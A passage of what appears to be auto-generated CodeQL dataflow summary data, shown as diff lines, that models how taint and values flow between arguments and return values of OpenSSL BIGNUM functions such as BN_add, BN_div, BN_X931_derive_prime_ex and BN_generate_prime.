"(const BIGNUM *,int[],int)", "", "Argument[*0].Field[*top]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_MONT_CTX_copy", "(BN_MONT_CTX *,BN_MONT_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_MONT_CTX_copy", "(BN_MONT_CTX *,BN_MONT_CTX *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_MONT_CTX_set", "(BN_MONT_CTX *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_MONT_CTX_set_locked", "(BN_MONT_CTX **,CRYPTO_RWLOCK *,const BIGNUM *,BN_CTX *)", "", "Argument[**0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BN_MONT_CTX_set_locked", "(BN_MONT_CTX **,CRYPTO_RWLOCK *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_MONT_CTX_set_locked", "(BN_MONT_CTX **,CRYPTO_RWLOCK *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_MONT_CTX_set_locked", "(BN_MONT_CTX **,CRYPTO_RWLOCK *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_RECP_CTX_set", "(BN_RECP_CTX *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*5]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*5]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*6]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_derive_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_Xpq", "(BIGNUM *,BIGNUM *,int,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_X931_generate_Xpq", "(BIGNUM *,BIGNUM *,int,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_X931_generate_Xpq", "(BIGNUM *,BIGNUM *,int,BN_CTX *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_Xpq", "(BIGNUM *,BIGNUM *,int,BN_CTX *)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*5]", "value", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*5]", "value", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*5]", "value", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*3]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*4]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*5]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*6]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_add_word", "(BIGNUM *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_are_coprime", "(BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_are_coprime", "(BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_are_coprime", "(BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "BN_asc2bn", "(BIGNUM **,const char *)", "", "Argument[*1]", "Argument[**0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_asc2bn", "(BIGNUM **,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_asc2bn", "(BIGNUM **,const char *)", "", "Argument[1]", "Argument[**0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_bn2bin", "(const BIGNUM *,unsigned char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2binpad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2binpad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2binpad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2binpad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_bn2lebinpad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2lebinpad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2lebinpad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2lebinpad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_bn2mpi", "(const BIGNUM *,unsigned char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2nativepad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2nativepad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2nativepad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2nativepad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_bntest_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_bntest_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_bntest_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_check_prime", "(const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_clear_bit", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_consttime_swap", "(unsigned long,BIGNUM *,BIGNUM *,int)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_consttime_swap", "(unsigned long,BIGNUM *,BIGNUM *,int)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_consttime_swap", "(unsigned long,BIGNUM *,BIGNUM *,int)", "", "Argument[0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_consttime_swap", "(unsigned long,BIGNUM *,BIGNUM *,int)", "", "Argument[0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_copy", "(BIGNUM *,const BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_copy", "(BIGNUM *,const BIGNUM *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_dec2bn", "(BIGNUM **,const char *)", "", "Argument[*1]", "Argument[**0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_dec2bn", "(BIGNUM **,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_dec2bn", "(BIGNUM **,const char *)", "", "Argument[1]", "Argument[**0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_div", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_div", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_div", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_div", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_div", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_div_recp", "(BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_div_recp", "(BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_div_recp", "(BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_div_recp", "(BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_div_recp", "(BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_div_recp", "(BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_div_recp", "(BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_div_recp", "(BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_div_word", "(BIGNUM *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_div_word", "(BIGNUM *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_div_word", "(BIGNUM *,unsigned long)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_dup", "(const BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "BN_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_from_montgomery", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_gcd", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_generate_dsa_nonce", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[*3]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[*3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[*4]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[*4]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[*4]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[*3]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[*4]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[*6]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[*6]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[*6]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const 